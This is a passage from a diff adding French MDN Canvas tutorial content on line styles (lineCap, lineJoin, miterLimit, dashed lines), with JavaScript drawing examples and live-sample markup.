+<p><span id="result_box" lang="fr"><span>Pour les lignes de largeur paire, chaque moitié finit par être un nombre entier de pixels, vous voulez donc un chemin entre les pixels (c'est-à-dire (3,1) à (3,5)), au lieu de descendre au milieu des pixels</span> <span>.</span></span></p>
+
+<p>Bien que légèrement ennuyeux quand on travaille avec des graphismes 2D évolutifs, en accordant une attention à la grille de pixels et à la position des tracés, vous vous assurez du comportement correct de vos dessins, et ce, indépendamment de la mise à l'échelle ou d'autres transformations. Une ligne verticale de largeur 1,0 à la bonne position deviendra une ligne de 2 pixels nette à l'échelle 2.</p>
+
+<h3 id="A_lineCap_example" name="A_lineCap_example">Un exemple de <code>lineCap</code></h3>
+
+<p>La propriété <code>lineCap</code> détermine comment les extrêmités de chaque ligne sont dessinées. Il y a trois valeurs possibles pour la propriété : <code>butt</code>, <code>round</code> et <code>square</code>. Par défaut, la propriété est définie à <code>butt</code>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/236/Canvas_linecap.png" style="float: right; height: 190px; width: 190px;"></p>
+
+<dl>
+ <dt><code>butt </code><em>(bout)</em></dt>
+ <dd>L'extrémité des lignes est en angle droit.</dd>
+ <dt><code>round </code><em>(rond)</em></dt>
+ <dd>Les extrémités sont arrondies.</dd>
+ <dt><code>square </code><em>(carré)</em></dt>
+ <dd>Les extrémités sont en angle droit en ajoutant une extension d'une largeur égale à la ligne et une hauteur égale à la moitié de la largeur de la ligne.</dd>
+</dl>
+
+<p>Dans cet exemple, nous avons tracé trois lignes, chacune avec une valeur différente pour la propriété <code>lineCap</code>. Nous avons par ailleurs ajouté deux guides pour voir exactement les différences entre les trois lignes. Chacune de ces trois lignes est identique entre les deux traits bleus.</p>
+
+<p>La ligne de gauche utilise l'option par défaut <code>butt</code>. Vous pourrez noter qu'elle est entièrement dessinée entre les deux guides. La deuxième utilise l'option <code>round</code>. Elle ajoute un demi-cercle à chaque extrémité d'un rayon valant la moitié de la largeur de la ligne. La ligne de droite utilise l'option <code>square</code>. Elle ajoute une extension avec une largeur égale à la ligne et une hauteur équivalante à la moitié de la largeur de la ligne.</p>
+
+<pre class="brush: js;highlight[18] line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> ctx <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'canvas'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getContext</span><span class="punctuation token">(</span><span class="string token">'2d'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> lineCap <span class="operator token">=</span> <span class="punctuation token">[</span><span class="string token">'butt'</span><span class="punctuation token">,</span> <span class="string token">'round'</span><span class="punctuation token">,</span> <span class="string token">'square'</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+
+  <span class="comment token">// Dessiner des guides</span>
+  ctx<span class="punctuation token">.</span>strokeStyle <span class="operator token">=</span> <span class="string token">'#09f'</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">beginPath</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">moveTo</span><span class="punctuation token">(</span><span class="number token">10</span><span class="punctuation token">,</span> <span class="number token">10</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">lineTo</span><span class="punctuation token">(</span><span class="number token">140</span><span class="punctuation token">,</span> <span class="number token">10</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">moveTo</span><span class="punctuation token">(</span><span class="number token">10</span><span class="punctuation token">,</span> <span class="number token">140</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">lineTo</span><span class="punctuation token">(</span><span class="number token">140</span><span class="punctuation token">,</span> <span class="number token">140</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">stroke</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="comment token">// Dessiner des lignes</span>
+  ctx<span class="punctuation token">.</span>strokeStyle <span class="operator token">=</span> <span class="string token">'black'</span><span class="punctuation token">;</span>
+  <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> lineCap<span class="punctuation token">.</span>length<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    ctx<span class="punctuation token">.</span>lineWidth <span class="operator token">=</span> <span class="number token">15</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span>lineCap <span class="operator token">=</span> lineCap<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">beginPath</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">moveTo</span><span class="punctuation token">(</span><span class="number token">25</span> <span class="operator token">+</span> i <span class="operator token">*</span> <span class="number token">50</span><span class="punctuation token">,</span> <span class="number token">10</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">lineTo</span><span class="punctuation token">(</span><span class="number token">25</span> <span class="operator token">+</span> i <span class="operator token">*</span> <span class="number token">50</span><span class="punctuation token">,</span> <span class="number token">140</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">stroke</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="hidden">
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>canvas</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>canvas<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>canvas</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+</div>
+
+<p>{{EmbedLiveSample("A_lineCap_example", "180", "180", "https://mdn.mozillademos.org/files/236/Canvas_linecap.png")}}</p>
+
+<h3 id="A_lineJoin_example" name="A_lineJoin_example">Un exemple de <code>lineJoin</code></h3>
+
+<p>La propriété <code>lineJoin</code> détermine comment deux segments (lignes, arcs ou courbes), de largeur non nulle se connectant dans une forme, sont joints ensemble (les segments de longueur nulle, dont les coordonnées de départ et de fin sont exactement les mêmes, sont ignorés).</p>
+
+<p>Il existe trois valeurs possibles pour cette propriété : <code>round</code>, <code>bevel</code> et <code>miter</code>. Par défaut, cette propriété est définie à <code>miter</code>. Notez que le paramètre <code>lineJoin</code> n'a pas d'effet si les deux segments connectés ont la même direction, parce qu'aucune zone de jointure ne sera ajoutée dans ce cas.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/237/Canvas_linejoin.png" style="float: right; height: 190px; width: 190px;"></p>
+
+<dl>
+ <dt><code>round </code><em>(rond)</em></dt>
+ <dd>Arrondit les angles des segments en ajoutant un arc de cercle centré à l'extrémité commune des segments connectés. Le rayon de ces angles arrondis est égal à la moitié de la largeur du trait.</dd>
+ <dt><code>bevel </code><em>(biseau)</em></dt>
+ <dd>Ajoute un triangle à l'extrémité commune des segments connectés.</dd>
+ <dt><code>miter </code><em>(onglet)</em></dt>
+ <dd><span id="result_box" lang="fr"><span>Les segments connectés sont reliés en prolongeant leurs bords extérieurs pour se connecter en un seul point, avec pour effet de remplir une zone supplémentaire en forme de losange.</span> <span>Ce paramètre est effectué par la propriété miterLimit qui est expliquée ci-dessous.</span></span></dd>
+</dl>
+
+<p><span id="result_box" lang="fr"><span>L'exemple ci-dessous dessine trois chemins différents, démontrant chacun de ces trois paramètres de propriété<code> lineJoin</code> ;</span> <span>la sortie est montrée ci-dessus.</span></span></p>
+
+<pre class="brush: js;highlight[6] line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> ctx <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'canvas'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getContext</span><span class="punctuation token">(</span><span class="string token">'2d'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> lineJoin <span class="operator token">=</span> <span class="punctuation token">[</span><span class="string token">'round'</span><span class="punctuation token">,</span> <span class="string token">'bevel'</span><span class="punctuation token">,</span> <span class="string token">'miter'</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span>lineWidth <span class="operator token">=</span> <span class="number token">10</span><span class="punctuation token">;</span>
+  <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> lineJoin<span class="punctuation token">.</span>length<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    ctx<span class="punctuation token">.</span>lineJoin <span class="operator token">=</span> lineJoin<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">beginPath</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">moveTo</span><span class="punctuation token">(</span><span class="operator token">-</span><span class="number token">5</span><span class="punctuation token">,</span> <span class="number token">5</span> <span class="operator token">+</span> i <span class="operator token">*</span> <span class="number token">40</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">lineTo</span><span class="punctuation token">(</span><span class="number token">35</span><span class="punctuation token">,</span> <span class="number token">45</span> <span class="operator token">+</span> i <span class="operator token">*</span> <span class="number token">40</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">lineTo</span><span class="punctuation token">(</span><span class="number token">75</span><span class="punctuation token">,</span> <span class="number token">5</span> <span class="operator token">+</span> i <span class="operator token">*</span> <span class="number token">40</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">lineTo</span><span class="punctuation token">(</span><span class="number token">115</span><span class="punctuation token">,</span> <span class="number token">45</span> <span class="operator token">+</span> i <span class="operator token">*</span> <span class="number token">40</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">lineTo</span><span class="punctuation token">(</span><span class="number token">155</span><span class="punctuation token">,</span> <span class="number token">5</span> <span class="operator token">+</span> i <span class="operator token">*</span> <span class="number token">40</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">stroke</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="hidden">
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>canvas</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>canvas<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>canvas</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+</div>
+
+<p>{{EmbedLiveSample("A_lineJoin_example", "180", "180", "https://mdn.mozillademos.org/files/237/Canvas_linejoin.png")}}</p>
+
+<h3 id="A_demo_of_the_miterLimit_property" name="A_demo_of_the_miterLimit_property">Une démonstration de la propriété <code>miterLimit</code></h3>
+
+<p><span id="result_box" lang="fr"><span>Comme vous l'avez vu dans l'exemple précédent, lorsque vous joignez deux lignes avec l'option d'onglet, les bords extérieurs des deux lignes d'assemblage sont étendus jusqu'au point où ils se rencontrent.</span> <span>Pour les lignes qui sont à grands angles les unes avec les autres, ce point n'est pas loin du point de connexion interne.</span> <span>Cependant, lorsque les angles entre chaque ligne diminuent, la distance entre ces points augmente exponentiellement.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>La propriété <code>miterLimit</code> détermine dans quelle mesure le point de connexion externe peut être placé à partir du point de connexion interne.</span> <span>Si deux lignes dépassent cette valeur, une jointure biseau est dessinée à la place.</span> <span>Notez que la longueur ajoutée maximale est le produit de la largeur de ligne mesurée dans le système de coordonnées actuel, par la valeur de cette propriété <code>miterLimit</code> (dont la valeur par défaut est 10.0 dans le HTML </span></span> {{HTMLElement("canvas")}}). <span lang="fr"><code> </code><span><code>miterLimit</code> peut être défini indépendamment de l'échelle d'affichage actuelle ou de toutes les transformations affinées de chemins : il n'influence que la forme des bords de lignes effectivement rendues.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>Plus précisément, la limite d'onglet est le rapport maximal autorisé de la longueur d'extension (dans le canvas HTML, il est mesuré entre le coin extérieur des bords joints de la ligne et le point d'extrémité commun des segments de connexion spécifiés dans le chemin) à la moitié</span> de la <span>largeur de la ligne.</span> <span>Il peut être défini, de manière équivalente, comme le rapport maximum autorisé de la distance entre les points de jonction intérieur et extérieur des bords et la largeur totale de la ligne.</span> <span>Il est alors égal à la cosécante de la moitié de l'angle interne minimum des segments de connexion, en-dessous de laquelle aucune jointure d'onglet ne sera rendue, mais seulement une jointure en biseau :</span></span></p>
+
+<ul>
+ <li><code>miterLimit</code> = <strong>max</strong> <code>miterLength</code> / <code>lineWidth</code> = 1 / <strong>sin</strong> ( <strong>min</strong> <em>θ</em> / 2 )</li>
+ <li><span id="result_box" lang="fr"><span>La limite d'onglet par défaut de 10.0 supprimera tous les onglets pour les angles vifs inférieurs à environ 11 degrés.</span></span></li>
+ <li><span id="result_box" lang="fr"><span>Une limite d'onglet égale à √2 ≈ 1.4142136 (arrondie au-dessus) enlèvera les onglets pour tous les angles aigus, en conservant les joints d'onglet seulement pour les angles obtus ou droits.</span></span></li>
+ <li><span id="result_box" lang="fr"><span>Une limite d'onglet égale à 1.0 est valide mais désactivera tous les onglets.</span></span></li>
+ <li><span id="result_box" lang="fr"><span>Les valeurs inférieures à 1.0 sont invalides pour la limite d'onglet.</span></span></li>
+</ul>
+
+<p><span id="result_box" lang="fr"><span>Voici une petite démo dans laquelle vous pouvez définir dynamiquement <code>miterLimit</code> et voir comment cela affecte les formes sur le canevas.</span> <span>Les lignes bleues indiquent où se trouvent les points de départ et d'arrivée de chacune des lignes du motif en zig-zag.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>Si vous spécifiez une valeur <code>miterLimit</code> inférieure à 4.2 dans cette démo, aucun des coins visibles ne se joindra avec une extension onglet, mais seulement avec un petit biseau près des lignes bleues ;</span> <span>avec une limite à onglets au-dessus de 10, la plupart des coins de cette démo devraient se combiner avec un onglet loin des lignes bleues et dont la hauteur diminue entre les coins de gauche à droite, car ils se connectent avec des angles croissants ;</span> <span>avec des valeurs intermédiaires, les coins du côté gauche ne rejoignent qu'un biseau près des lignes bleues et les coins du côté droit avec une extension à onglets (également avec une hauteur décroissante).</span></span></p>
+
+<pre class="brush: js;highlight[18] line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> ctx <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'canvas'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getContext</span><span class="punctuation token">(</span><span class="string token">'2d'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="comment token">// Éffacer canvas</span>
+  ctx<span class="punctuation token">.</span><span class="function token">clearRect</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">150</span><span class="punctuation token">,</span> <span class="number token">150</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="comment token">// Dessiner des guides</span>
+  ctx<span class="punctuation token">.</span>strokeStyle <span class="operator token">=</span> <span class="string token">'#09f'</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span>lineWidth   <span class="operator token">=</span> <span class="number token">2</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">strokeRect</span><span class="punctuation token">(</span><span class="operator token">-</span><span class="number token">5</span><span class="punctuation token">,</span> <span class="number token">50</span><span class="punctuation token">,</span> <span class="number token">160</span><span class="punctuation token">,</span> <span class="number token">50</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="comment token">// Définir les styles de lignes</span>
+  ctx<span class="punctuation token">.</span>strokeStyle <span class="operator token">=</span> <span class="string token">'#000'</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span>lineWidth <span class="operator token">=</span> <span class="number token">10</span><span class="punctuation token">;</span>
+
+  <span class="comment token">// Vérifier l'entrée <em>(input)</em></span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'miterLimit'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>value<span class="punctuation token">.</span><span class="function token">match</span><span class="punctuation token">(</span><span class="regex token">/\d+(\.\d+)?/</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    ctx<span class="punctuation token">.</span>miterLimit <span class="operator token">=</span> <span class="function token">parseFloat</span><span class="punctuation token">(</span>document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'miterLimit'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+    <span class="function token">alert</span><span class="punctuation token">(</span><span class="string token">'Value must be a positive number'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="comment token">// Dessiner des lignes</span>
+  ctx<span class="punctuation token">.</span><span class="function token">beginPath</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">moveTo</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">100</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">for</span> <span class="punctuation token">(</span>i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> <span class="number token">24</span> <span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">var</span> dy <span class="operator token">=</span> i <span class="operator token">%</span> <span class="number token">2</span> <span class="operator token">==</span> <span class="number token">0</span> <span class="operator token">?</span> <span class="number token">25</span> <span class="punctuation token">:</span> <span class="operator token">-</span><span class="number token">25</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">lineTo</span><span class="punctuation token">(</span>Math<span class="punctuation token">.</span><span class="function token">pow</span><span class="punctuation token">(</span>i<span class="punctuation token">,</span> <span class="number token">1.5</span><span class="punctuation token">)</span> <span class="operator token">*</span> <span class="number token">2</span><span class="punctuation token">,</span> <span class="number token">75</span> <span class="operator token">+</span> dy<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  ctx<span class="punctuation token">.</span><span class="function token">stroke</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">return</span> <span class="keyword token">false</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="hidden">
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>table</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>tr</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>td</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>canvas</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>canvas<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>canvas</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>td</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>td</span><span class="punctuation token">&gt;</span></span>Change the <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>code</span><span class="punctuation token">&gt;</span></span>miterLimit<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>code</span><span class="punctuation token">&gt;</span></span> by entering a new value below and clicking the redraw button.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>form</span> <span class="attr-name token">onsubmit</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>return draw();<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span><span class="punctuation token">&gt;</span></span>Miter limit<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">size</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>3<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>miterLimit<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>submit<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Redraw<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>form</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>td</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>tr</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>table</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js">document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'miterLimit'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>value <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'canvas'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getContext</span><span class="punctuation token">(</span><span class="string token">'2d'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>miterLimit<span class="punctuation token">;</span>
+<span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+</div>
+
+<p>{{EmbedLiveSample("A_demo_of_the_miterLimit_property", "400", "180", "https://mdn.mozillademos.org/files/240/Canvas_miterlimit.png")}}</p>
+
+<h3 id="Using_line_dashes" name="Using_line_dashes">Utilisation de lignes pointillées</h3>
+
+<p><code>setLineDash</code> et <code>lineDashOffset</code> précisent le modèle de lignes. <code>setLineDash</code> accepte une liste de nombres qui spécifie les distances pour dessiner alternativement une ligne et un espace et <code>lineDashOffset</code> définit un décalage pour commencer le motif.</p>
+
+<p>Dans cet exemple, nous créons un effet de fourmis en marche. C'est une technique d'animation souvent employée dans les <span class="new"> sélections d'outils</span> des programmes graphiques. Cet effet permet à l'utilisateur de distinguer la frontière de l'image de fond de la sélection en animant la frontière. Dans une partie de ce tutoriel, vous pouvez apprendre comment faire cela et d'autres animations de base <a href="/fr/docs/Web/API/Canvas_API/Tutorial/Basic_animations" title="/fr/docs/Web/API/Canvas_API/Tutorial/Basic_animations">animation basiques.</a><a href="https://developer.mozilla.org/fr/docs/Tutoriel_canvas/Animations_basiques">.</a></p>
+
+<div class="hidden">
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>canvas</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>canvas<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>110<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>110<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>canvas</span><span class="punctuation token">&gt;</span></span></code></pre>
+</div>
+
+<pre class="brush: js;highlight[6] line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">var</span> ctx <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'canvas'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getContext</span><span class="punctuation token">(</span><span class="string token">'2d'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> offset <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span>
+
+<span class="keyword token">function</span> <span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  ctx<span class="punctuation token">.</span><span class="function token">clearRect</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> canvas<span class="punctuation token">.</span>width<span class="punctuation token">,</span> canvas<span class="punctuation token">.</span>height<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">setLineDash</span><span class="punctuation token">(</span><span class="punctuation token">[</span><span class="number token">4</span><span class="punctuation token">,</span> <span class="number token">2</span><span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span>lineDashOffset <span class="operator token">=</span> <span class="operator token">-</span>offset<span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">strokeRect</span><span class="punctuation token">(</span><span class="number token">10</span><span class="punctuation token">,</span> <span class="number token">10</span><span class="punctuation token">,</span> <span class="number token">100</span><span class="punctuation token">,</span> <span class="number token">100</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">function</span> <span class="function token">march</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  offset<span class="operator token">++</span><span class="punctuation token">;</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>offset <span class="operator token">&gt;</span> <span class="number token">16</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    offset <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
